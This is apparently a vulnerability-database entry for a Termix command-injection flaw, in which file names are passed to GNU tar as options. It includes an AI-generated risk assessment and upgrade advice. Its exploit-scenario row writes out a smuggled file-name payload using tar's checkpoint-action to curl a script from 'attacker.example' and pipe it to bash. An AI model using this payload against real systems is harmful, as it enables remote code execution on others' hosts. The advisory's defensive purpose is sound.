Lifecycle Timeline
4DescriptionCVE.org
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to 2.3.2, the archive creation endpoint in src/backend/ssh/file-manager.ts passes selected file basenames to tar without an end-of-options marker and without making the operands unambiguously relative. A user with access to an SSH file-manager session can select basenames beginning with GNU tar options such as --checkpoint=1 and --checkpoint-action=exec, causing tar, tar.gz, tar.bz2, or tar.xz creation to interpret those names as options. The resulting checkpoint action executes commands on the managed SSH host with the privileges of the connected SSH account, allowing file disclosure, modification, and service disruption. This issue is fixed in version 2.3.2.
AnalysisAI
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-manager access to execute arbitrary commands on a managed SSH host prior to version 2.3.2. The archive creation endpoint in src/backend/ssh/file-manager.ts passes user-supplied file basenames directly to GNU tar without an end-of-options delimiter, enabling an attacker to supply filenames matching tar checkpoint options (e.g., --checkpoint=1, --checkpoint-action=exec=<cmd>) that tar interprets as directives rather than operands. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid authenticated Termix user account with access to the SSH file-manager session feature - this is the product's core functionality and not a non-default configuration. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately characterizes this vulnerability: it is network-reachable, requires no elevated complexity, demands only a low-privileged authenticated session, and yields full confidentiality, integrity, and availability impact on the managed SSH host. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Termix user with file-manager access creates two files on the managed SSH host via the file-manager interface, naming them --checkpoint=1 and --checkpoint-action=exec=curl${IFS}attacker.example/s.sh|bash. The user then selects these files and triggers archive creation (e.g., tar.gz). … |
| Remediation | Upgrade Termix to version 2.3.2 or later, the vendor-confirmed fixed release available at https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag and documented in security advisory GHSA-rwj6-6vh7-45pv at https://github.com/Termix-SSH/Termix/security/advisories/GHSA-rwj6-6vh7-45pv. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all Termix deployments running versions prior to 2.3.2, audit and document all users with file-manager access, and immediately restrict file-manager permissions to a minimal set of essential administrators. …
